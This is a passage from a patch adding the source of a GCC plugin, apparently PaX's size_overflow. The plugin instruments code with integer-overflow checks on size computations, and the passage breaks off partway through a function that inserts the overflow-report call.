++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c
++ * $ gcc -fplugin=size_overflow_plugin.so test.c  -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "intl.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "toplev.h"
++#include "function.h"
++#include "tree-flow.h"
++#include "plugin.h"
++#include "gimple.h"
++#include "c-common.h"
++#include "diagnostic.h"
++#include "cfgloop.h"
++
++#if BUILDING_GCC_VERSION >= 4007
++#include "c-tree.h"
++#else
++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP)
++#endif
++
++struct size_overflow_hash {
++	const struct size_overflow_hash * const next;
++	const char * const name;
++	const unsigned int param;
++};
++
++#include "size_overflow_hash.h"
++
++enum marked {
++	MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL
++};
++
++#define __unused __attribute__((__unused__))
++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node))
++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node))
++#define BEFORE_STMT true
++#define AFTER_STMT false
++#define CREATE_NEW_VAR NULL_TREE
++#define CODES_LIMIT 32
++#define MAX_PARAM 32
++#define MY_STMT GF_PLF_1
++#define NO_CAST_CHECK GF_PLF_2
++
++#if BUILDING_GCC_VERSION == 4005
++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE)))
++#endif
++
++int plugin_is_GPL_compatible;
++void debug_gimple_stmt(gimple gs);
++
++static tree expand(struct pointer_set_t *visited, tree lhs);
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs);
++static tree report_size_overflow_decl;
++static const_tree const_char_ptr_type_node;
++static unsigned int handle_function(void);
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before);
++static tree get_size_overflow_type(gimple stmt, const_tree node);
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3);
++
++static struct plugin_info size_overflow_plugin_info = {
++	.version	= "20120930beta",
++	.help		= "no-size-overflow\tturn off size overflow checking\n",
++};
++
++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	default:
++		*no_add_attrs = true;
++		error("%s: %qE attribute only applies to functions", __func__, name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static const char* get_asm_name(tree node)
++{
++	return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node));
++}
++
++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count, arg_num;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	case FIELD_DECL:
++		arg_num = TREE_INT_CST_LOW(TREE_VALUE(args));
++		if (arg_num != 0) {
++			*no_add_attrs = true;
++			error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name);
++		}
++		return NULL_TREE;
++	default:
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec size_overflow_attr = {
++	.name				= "size_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_size_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static struct attribute_spec intentional_overflow_attr = {
++	.name				= "intentional_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_intentional_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void __unused *event_data, void __unused *data)
++{
++	register_attribute(&size_overflow_attr);
++	register_attribute(&intentional_overflow_attr);
++}
++
++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html
++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed)
++{
++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); }
++#define cwmixa( in ) { cwfold( in, m, k, h ); }
++#define cwmixb( in ) { cwfold( in, n, h, k ); }
++
++	unsigned int m = 0x57559429;
++	unsigned int n = 0x5052acdb;
++	const unsigned int *key4 = (const unsigned int *)key;
++	unsigned int h = len;
++	unsigned int k = len + seed + n;
++	unsigned long long p;
++
++	while (len >= 8) {
++		cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2;
++		len -= 8;
++	}
++	if (len >= 4) {
++		cwmixb(key4[0]) key4 += 1;
++		len -= 4;
++	}
++	if (len)
++		cwmixa(key4[0] & ((1 << (len * 8)) - 1 ));
++	cwmixb(h ^ (k + n));
++	return k ^ h;
++
++#undef cwfold
++#undef cwmixa
++#undef cwmixb
++}
++
++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed)
++{
++	unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff;
++	unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff;
++	return fn ^ codes;
++}
++
++static inline tree get_original_function_decl(tree fndecl)
++{
++	if (DECL_ABSTRACT_ORIGIN(fndecl))
++		return DECL_ABSTRACT_ORIGIN(fndecl);
++	return fndecl;
++}
++
++static inline gimple get_def_stmt(const_tree node)
++{
++	gcc_assert(node != NULL_TREE);
++	gcc_assert(TREE_CODE(node) == SSA_NAME);
++	return SSA_NAME_DEF_STMT(node);
++}
++
++static unsigned char get_tree_code(const_tree type)
++{
++	switch (TREE_CODE(type)) {
++	case ARRAY_TYPE:
++		return 0;
++	case BOOLEAN_TYPE:
++		return 1;
++	case ENUMERAL_TYPE:
++		return 2;
++	case FUNCTION_TYPE:
++		return 3;
++	case INTEGER_TYPE:
++		return 4;
++	case POINTER_TYPE:
++		return 5;
++	case RECORD_TYPE:
++		return 6;
++	case UNION_TYPE:
++		return 7;
++	case VOID_TYPE:
++		return 8;
++	case REAL_TYPE:
++		return 9;
++	case VECTOR_TYPE:
++		return 10;
++	case REFERENCE_TYPE:
++		return 11;
++	case OFFSET_TYPE:
++		return 12;
++	case COMPLEX_TYPE:
++		return 13;
++	default:
++		debug_tree((tree)type);
++		gcc_unreachable();
++	}
++}
++
++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len)
++{
++	gcc_assert(type != NULL_TREE);
++
++	while (type && len < CODES_LIMIT) {
++		tree_codes[len] = get_tree_code(type);
++		len++;
++		type = TREE_TYPE(type);
++	}
++	return len;
++}
++
++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes)
++{
++	const_tree arg, result, arg_field, type = TREE_TYPE(fndecl);
++	enum tree_code code = TREE_CODE(type);
++	size_t len = 0;
++
++	gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE);
++
++	arg = TYPE_ARG_TYPES(type);
++	// skip builtins __builtin_constant_p
++	if (!arg && DECL_BUILT_IN(fndecl))
++		return 0;
++
++	if (TREE_CODE_CLASS(code) == tcc_type)
++		result = type;
++	else
++		result = DECL_RESULT(fndecl);
++
++	gcc_assert(result != NULL_TREE);
++	len = add_type_codes(TREE_TYPE(result), tree_codes, len);
++
++	if (arg == NULL_TREE) {
++		gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON));
++		arg_field = DECL_ARGUMENT_FLD(fndecl);
++		if (arg_field == NULL_TREE)
++			return 0;
++		arg = TREE_TYPE(arg_field);
++		len = add_type_codes(arg, tree_codes, len);
++		gcc_assert(len != 0);
++		return len;
++	}
++
++	gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST);
++	while (arg && len < CODES_LIMIT) {
++		len = add_type_codes(TREE_VALUE(arg), tree_codes, len);
++		arg = TREE_CHAIN(arg);
++	}
++
++	gcc_assert(len != 0);
++	return len;
++}
++
++static const struct size_overflow_hash *get_function_hash(tree fndecl)
++{
++	unsigned int hash;
++	const struct size_overflow_hash *entry;
++	unsigned char tree_codes[CODES_LIMIT];
++	size_t len;
++	const char *func_name = get_asm_name(fndecl);
++
++	len = get_function_decl(fndecl, tree_codes);
++	if (len == 0)
++		return NULL;
++
++	hash = get_hash_num(func_name, (const char*) tree_codes, len, 0);
++
++	entry = size_overflow_hash[hash];
++	while (entry) {
++		if (!strcmp(entry->name, func_name))
++			return entry;
++		entry = entry->next;
++	}
++
++	return NULL;
++}
++
++static void check_arg_type(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	enum tree_code code = TREE_CODE(type);
++
++	gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE));
++}
++
++static int find_arg_number(const_tree arg, tree func)
++{
++	tree var;
++	unsigned int argnum = 1;
++
++	if (TREE_CODE(arg) == SSA_NAME)
++		arg = SSA_NAME_VAR(arg);
++
++	for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) {
++		if (strcmp(NAME(arg), NAME(var))) {
++			argnum++;
++			continue;
++		}
++		check_arg_type(var);
++		return argnum;
++	}
++	gcc_unreachable();
++}
++
++static tree create_new_var(tree type)
++{
++	tree new_var = create_tmp_var(type, "cicus");
++
++	add_referenced_var(new_var);
++	mark_sym_for_renaming(new_var);
++	return new_var;
++}
++
++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2)
++{
++	gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree type = TREE_TYPE(rhs1);
++	tree lhs = create_new_var(type);
++
++	assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2);
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++	return assign;
++}
++
++static bool is_bool(const_tree node)
++{
++	const_tree type;
++
++	if (node == NULL_TREE)
++		return false;
++
++	type = TREE_TYPE(node);
++	if (!INTEGRAL_TYPE_P(type))
++		return false;
++	if (TREE_CODE(type) == BOOLEAN_TYPE)
++		return true;
++	if (TYPE_PRECISION(type) == 1)
++		return true;
++	return false;
++}
++
++static tree cast_a_tree(tree type, tree var)
++{
++	gcc_assert(type != NULL_TREE);
++	gcc_assert(var != NULL_TREE);
++	gcc_assert(fold_convertible_p(type, var));
++
++	return fold_convert(type, var);
++}
++
++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before)
++{
++	gimple assign;
++
++	gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE);
++	if (gsi_end_p(*gsi) && before == AFTER_STMT)
++		gcc_unreachable();
++
++	if (lhs == CREATE_NEW_VAR)
++		lhs = create_new_var(dst_type);
++
++	assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs));
++
++	if (!gsi_end_p(*gsi)) {
++		location_t loc = gimple_location(gsi_stmt(*gsi));
++		gimple_set_location(assign, loc);
++	}
++
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	if (before)
++		gsi_insert_before(gsi, assign, GSI_NEW_STMT);
++	else
++		gsi_insert_after(gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++
++	return assign;
++}
++
++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi;
++
++	if (new_rhs1 == NULL_TREE)
++		return NULL_TREE;
++
++	if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) {
++		gsi = gsi_for_stmt(stmt);
++		assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before);
++		return gimple_get_lhs(assign);
++	}
++	return new_rhs1;
++}
++
++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3)
++{
++	tree size_overflow_type = get_size_overflow_type(stmt, node);
++
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs2 != NULL_TREE)
++		new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs3 != NULL_TREE)
++		new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT);
++
++	return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3);
++}
++
++
++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before)
++{
++	tree size_overflow_type, lhs;
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++
++	if (rhs1 == NULL_TREE) {
++		debug_gimple_stmt(oldstmt);
++		error("%s: rhs1 is NULL_TREE", __func__);
++		gcc_unreachable();
++	}
++
++	if (gimple_code(oldstmt) == GIMPLE_ASM)
++		lhs = rhs1;
++	else
++		lhs = gimple_get_lhs(oldstmt);
++
++	gsi = gsi_for_stmt(oldstmt);
++	pointer_set_insert(visited, oldstmt);
++	if (lookup_stmt_eh_lp(oldstmt) != 0) {
++		basic_block next_bb, cur_bb;
++		const_edge e;
++
++		gcc_assert(before == false);
++		gcc_assert(stmt_can_throw_internal(oldstmt));
++		gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL);
++		gcc_assert(!gsi_end_p(gsi));
++
++		cur_bb = gimple_bb(oldstmt);
++		next_bb = cur_bb->next_bb;
++		e = find_edge(cur_bb, next_bb);
++		gcc_assert(e != NULL);
++		gcc_assert(e->flags & EDGE_FALLTHRU);
++
++		gsi = gsi_after_labels(next_bb);
++		gcc_assert(!gsi_end_p(gsi));
++
++		before = true;
++		oldstmt = gsi_stmt(gsi);
++	}
++
++	size_overflow_type = get_size_overflow_type(oldstmt, lhs);
++
++	stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before);
++	gimple_set_plf(stmt, MY_STMT, true);
++	return gimple_get_lhs(stmt);
++}
++
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3)
++{
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++	tree new_var, lhs = gimple_get_lhs(oldstmt);
++
++	if (gimple_plf(oldstmt, MY_STMT))
++		return lhs;
++
++	if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) {
++		rhs1 = gimple_assign_rhs1(oldstmt);
++		rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT);
++	}
++	if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) {
++		rhs2 = gimple_assign_rhs2(oldstmt);
++		rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT);
++	}
++
++	stmt = gimple_copy(oldstmt);
++	gimple_set_location(stmt, gimple_location(oldstmt));
++	gimple_set_plf(stmt, MY_STMT, true);
++
++	if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR)
++		gimple_assign_set_rhs_code(stmt, MULT_EXPR);
++
++	if (is_bool(lhs))
++		new_var = SSA_NAME_VAR(lhs);
++	else
++		new_var = create_new_var(size_overflow_type);
++	new_var = make_ssa_name(new_var, stmt);
++	gimple_set_lhs(stmt, new_var);
++
++	if (rhs1 != NULL_TREE) {
++		if (!gimple_assign_cast_p(oldstmt))
++			rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		gimple_assign_set_rhs1(stmt, rhs1);
++	}
++
++	if (rhs2 != NULL_TREE)
++		gimple_assign_set_rhs2(stmt, rhs2);
++#if BUILDING_GCC_VERSION >= 4007
++	if (rhs3 != NULL_TREE)
++		gimple_assign_set_rhs3(stmt, rhs3);
++#endif
++	gimple_set_vuse(stmt, gimple_vuse(oldstmt));
++	gimple_set_vdef(stmt, gimple_vdef(oldstmt));
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, stmt, GSI_SAME_STMT);
++	update_stmt(stmt);
++	pointer_set_insert(visited, oldstmt);
++	return gimple_get_lhs(stmt);
++}
++
++static gimple overflow_create_phi_node(gimple oldstmt, tree result)
++{
++	basic_block bb;
++	gimple phi;
++	gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt);
++
++	bb = gsi_bb(gsi);
++
++	phi = create_phi_node(result, bb);
++	gsi = gsi_last(phi_nodes(bb));
++	gsi_remove(&gsi, false);
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, phi, GSI_NEW_STMT);
++	gimple_set_bb(phi, bb);
++	gimple_set_plf(phi, MY_STMT, true);
++	return phi;
++}
++
++static basic_block create_a_first_bb(void)
++{
++	basic_block first_bb;
++
++	first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR);
++	return first_bb;
++}
++
++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i)
++{
++	basic_block bb;
++	const_gimple newstmt;
++	gimple_stmt_iterator gsi;
++	bool before = BEFORE_STMT;
++
++	if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) {
++		gsi = gsi_for_stmt(get_def_stmt(arg));
++		newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT);
++		return gimple_get_lhs(newstmt);
++	}
++
++	bb = gimple_phi_arg_edge(oldstmt, i)->src;
++	gsi = gsi_after_labels(bb);
++	if (bb->index == 0) {
++		bb = create_a_first_bb();
++		gsi = gsi_start_bb(bb);
++	}
++	newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before);
++	return gimple_get_lhs(newstmt);
++}
++
++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs)
++{
++	gimple newstmt;
++	gimple_stmt_iterator gsi;
++	void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update);
++	gimple def_newstmt = get_def_stmt(new_rhs);
++
++	gsi_insert = gsi_insert_after;
++	gsi = gsi_for_stmt(def_newstmt);
++
++	switch (gimple_code(get_def_stmt(arg))) {
++	case GIMPLE_PHI:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		gsi = gsi_after_labels(gimple_bb(def_newstmt));
++		gsi_insert = gsi_insert_before;
++		break;
++	case GIMPLE_ASM:
++	case GIMPLE_CALL:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		break;
++	case GIMPLE_ASSIGN:
++		newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt));
++		break;
++	default:
++		/* unknown gimple_code (handle_build_new_phi_arg) */
++		gcc_unreachable();
++	}
++
++	gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt));
++	gsi_insert(&gsi, newstmt, GSI_NEW_STMT);
++	gimple_set_plf(newstmt, MY_STMT, true);
++	update_stmt(newstmt);
++	return newstmt;
++}
++
++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var)
++{
++	const_gimple newstmt;
++	gimple def_stmt;
++	tree new_rhs;
++
++	new_rhs = expand(visited, arg);
++	if (new_rhs == NULL_TREE)
++		return NULL_TREE;
++
++	def_stmt = get_def_stmt(new_rhs);
++	if (gimple_code(def_stmt) == GIMPLE_NOP)
++		return NULL_TREE;
++	new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT);
++
++	newstmt = handle_new_phi_arg(arg, new_var, new_rhs);
++	return gimple_get_lhs(newstmt);
++}
++
++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result)
++{
++	gimple phi, oldstmt = get_def_stmt(orig_result);
++	tree new_result, size_overflow_type;
++	unsigned int i;
++	unsigned int n = gimple_phi_num_args(oldstmt);
++
++	size_overflow_type = get_size_overflow_type(oldstmt, orig_result);
++
++	new_result = create_new_var(size_overflow_type);
++
++	pointer_set_insert(visited, oldstmt);
++	phi = overflow_create_phi_node(oldstmt, new_result);
++	for (i = 0; i < n; i++) {
++		tree arg, lhs;
++
++		arg = gimple_phi_arg_def(oldstmt, i);
++		if (is_gimple_constant(arg))
++			arg = cast_a_tree(size_overflow_type, arg);
++		lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result);
++		if (lhs == NULL_TREE)
++			lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i);
++		add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt));
++	}
++
++	update_stmt(phi);
++	return gimple_phi_result(phi);
++}
++
++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(orig_rhs);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN);
++
++	assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	return gimple_get_lhs(assign);
++}
++
++static void change_rhs1(gimple stmt, tree new_rhs1)
++{
++	tree assign_rhs;
++	const_tree rhs = gimple_assign_rhs1(stmt);
++
++	assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1);
++	gimple_assign_set_rhs1(stmt, assign_rhs);
++	update_stmt(stmt);
++}
++
++static bool check_mode_type(const_gimple stmt)
++{
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree lhs_type = TREE_TYPE(lhs);
++	const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt));
++	enum machine_mode lhs_mode = TYPE_MODE(lhs_type);
++	enum machine_mode rhs_mode = TYPE_MODE(rhs_type);
++
++	if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type)))
++		return false;
++
++	return true;
++}
++
++static bool check_undefined_integer_operation(const_gimple stmt)
++{
++	const_gimple def_stmt;
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	def_stmt = get_def_stmt(rhs1);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN)
++		return false;
++
++	if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR)
++		return false;
++	return true;
++}
++
++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs)
++{
++	const_tree rhs1, lhs, rhs1_type, lhs_type;
++	enum machine_mode lhs_mode, rhs_mode;
++	gimple def_stmt = get_def_stmt(no_const_rhs);
++
++	if (!gimple_assign_cast_p(def_stmt))
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	lhs = gimple_get_lhs(def_stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	lhs_type = TREE_TYPE(lhs);
++	rhs_mode = TYPE_MODE(rhs1_type);
++	lhs_mode = TYPE_MODE(lhs_type);
++	if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode)
++		return false;
++
++	return true;
++}
++
++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt)
++{
++	tree size_overflow_type, lhs = gimple_get_lhs(stmt);
++	tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	new_rhs1 = expand(visited, rhs1);
++
++	if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return lhs;
++
++	if (gimple_plf(stmt, NO_CAST_CHECK))
++		return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE);
++
++	if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) {
++		size_overflow_type = get_size_overflow_type(stmt, rhs1);
++		new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++		check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++	}
++
++	if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt))
++		return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE);
++
++	size_overflow_type = get_size_overflow_type(stmt, rhs1);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	change_rhs1(stmt, new_rhs1);
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++
++	rhs1 = gimple_assign_rhs1(stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type))
++		return create_assign(visited, stmt, rhs1, AFTER_STMT);
++
++	if (!check_mode_type(stmt))
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	size_overflow_type = get_size_overflow_type(stmt, lhs);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(def_stmt);
++
++	if (is_gimple_constant(rhs1))
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	gcc_assert(TREE_CODE(rhs1) != COND_EXPR);
++	switch (TREE_CODE(rhs1)) {
++	case SSA_NAME:
++		return handle_unary_rhs(visited, def_stmt);
++	case ARRAY_REF:
++	case BIT_FIELD_REF:
++	case ADDR_EXPR:
++	case COMPONENT_REF:
++	case INDIRECT_REF:
++#if BUILDING_GCC_VERSION >= 4006
++	case MEM_REF:
++#endif
++	case PARM_DECL:
++	case TARGET_MEM_REF:
++	case VAR_DECL:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	default:
++		debug_gimple_stmt(def_stmt);
++		debug_tree(rhs1);
++		gcc_unreachable();
++	}
++}
++
++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value)
++{
++	gimple cond_stmt;
++	gimple_stmt_iterator gsi = gsi_last_bb(cond_bb);
++
++	cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE);
++	gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(cond_stmt);
++}
++
++static tree create_string_param(tree string)
++{
++	tree i_type, a_type;
++	const int length = TREE_STRING_LENGTH(string);
++
++	gcc_assert(length > 0);
++
++	i_type = build_index_type(build_int_cst(NULL_TREE, length - 1));
++	a_type = build_array_type(char_type_node, i_type);
++
++	TREE_TYPE(string) = a_type;
++	TREE_CONSTANT(string) = 1;
++	TREE_READONLY(string) = 1;
++
++	return build1(ADDR_EXPR, ptr_type_node, string);
++}
++
++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min)
++{
++	gimple func_stmt;
++	const_gimple def_stmt;
++	const_tree loc_line;
++	tree loc_file, ssa_name, current_func;
++	expanded_location xloc;
